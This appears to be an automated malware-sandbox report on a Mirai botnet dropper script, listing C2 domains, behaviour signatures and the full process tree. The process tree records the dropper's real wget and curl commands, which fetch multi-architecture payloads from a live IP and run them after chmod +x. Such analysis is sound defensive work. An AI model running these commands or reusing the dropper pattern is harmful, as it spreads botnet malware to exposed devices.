Overview

overview

10

Static

static

1

76d32be0.sh

ubuntu-18.04-amd64

10

76d32be0.sh

debian-9-armhf

10

76d32be0.sh

debian-9-mips

10

76d32be0.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20251218-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20251218-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/12/2025, 12:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    76d32be0.sh
  • Size 4KB
  • Sample251219-pbdresbr9x
  • SHA256 283faaa9fc8bd92419688c20a71b23685381e3fcd6b4b4ae72fc773cf5bfb4c4
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
botnetunstabledefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (120843) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 24 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 24 IoCs
  • Changes its process name 12 IoCs
  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 58 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/76d32be0.sh
    /tmp/76d32be0.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:714
    • /usr/bin/wget
      wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:718
    • /usr/bin/curl
      curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:737
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:743
      • /bin/chmod
        chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-52f78b61f5e9486a841a5ac6807ee298-systemd-timedated.service-HbdWJ5
        2⤵
        • File and Directory Permissions Modification
        PID:744
      • /tmp/76d32be0
        ./76d32be0 payload
        2⤵
          PID:745
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:748
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          PID:751
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-52f78b61f5e9486a841a5ac6807ee298-systemd-timedated.service-HbdWJ5
          2⤵
          • File and Directory Permissions Modification
          PID:753
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Changes its process name
          PID:755
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
          2⤵
          • Writes file to tmp directory
          PID:761
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:774
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-52f78b61f5e9486a841a5ac6807ee298-systemd-timedated.service-HbdWJ5
          2⤵
          • File and Directory Permissions Modification
          PID:786
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:787
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:795
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:802
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-52f78b61f5e9486a841a5ac6807ee298-systemd-timedated.service-HbdWJ5
          2⤵
          • File and Directory Permissions Modification
          PID:804
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:805
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
          2⤵
          • Writes file to tmp directory
          PID:809
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:814
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-52f78b61f5e9486a841a5ac6807ee298-systemd-timedated.service-HbdWJ5
          2⤵
          • File and Directory Permissions Modification
          PID:816
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:817
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
          2⤵
          • Writes file to tmp directory
          PID:824
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:829
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:831
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:832
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
          2⤵
          • Writes file to tmp directory
          PID:834
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:841
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:843
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:844
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
          2⤵
          • Writes file to tmp directory
          PID:846
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:853
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:855
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:856
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
          2⤵
          • Writes file to tmp directory
          PID:858
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:865
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:867
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:868
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
          2⤵
          • Writes file to tmp directory
          PID:870
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:877
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:879
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:880
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
          2⤵
          • Writes file to tmp directory
          PID:882
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:889
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:891
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:892
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
          2⤵
          • Writes file to tmp directory
          PID:894
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:901
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:903
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          PID:904
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
          2⤵
          • Writes file to tmp directory
          PID:906
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:913
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
          2⤵
          • File and Directory Permissions Modification
          PID:915
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Writes file to system bin folder
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:916

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            76d32be0
            • Path /tmp/76d32be0
            • Size 106KB
            • SHA256 f0b853a8aae2cf57e3ac6a268248f4cbe82db8747641dbe4e3f2a82e78d11a81
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            db0fa4b8db0333367e9bda3ab68b8042.x86
            • Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
            • Size 74KB
            • SHA256 0134ba0d82da47549afbf4ff619fe518bf4863eff0f49c939457cbf81c2d15b8
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download